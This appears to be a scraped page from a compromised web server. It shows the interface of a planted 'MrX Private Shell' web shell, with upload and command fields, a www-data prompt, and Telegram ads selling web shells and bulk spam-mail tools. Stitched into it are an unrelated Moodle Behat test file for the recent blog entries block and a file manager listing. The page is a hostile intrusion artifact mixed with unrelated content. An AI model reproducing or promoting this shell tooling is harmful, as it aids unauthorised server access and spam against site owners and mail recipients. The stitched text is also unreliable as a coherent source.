__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@block @block_blog_recent
Feature: Feature: Users can use the recent blog entries block to view recent blog entries.
  In order to enable the recent blog entries in a course
  As a teacher
  I can add recent blog entries block to a course

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email | idnumber |
      | teacher1 | Teacher | 1 | teacher1@example.com | T1 |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1 | 0 |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |

  Scenario: Add the recent blogs block to a course when blogs are disabled
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage with editing mode on
    When I add the "Recent blog entries" block
    And the following config values are set as admin:
      | enableblogs | 0 |
    And I reload the page
    Then I should see "Blogging is disabled!" in the "Recent blog entries" "block"

  Scenario: Add the recent blogs block to a course when there are not any blog posts
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage with editing mode on
    When I add the "Recent blog entries" block
    Then I should see "No recent entries" in the "Recent blog entries" "block"

Filemanager

Name Type Size Permission Actions
block_blog_recent.feature File 1.33 KB 0777
block_blog_recent_activity.feature File 4.88 KB 0777
block_blog_recent_course.feature File 4.45 KB 0777
block_blog_recent_frontpage.feature File 4 KB 0777
Filemanager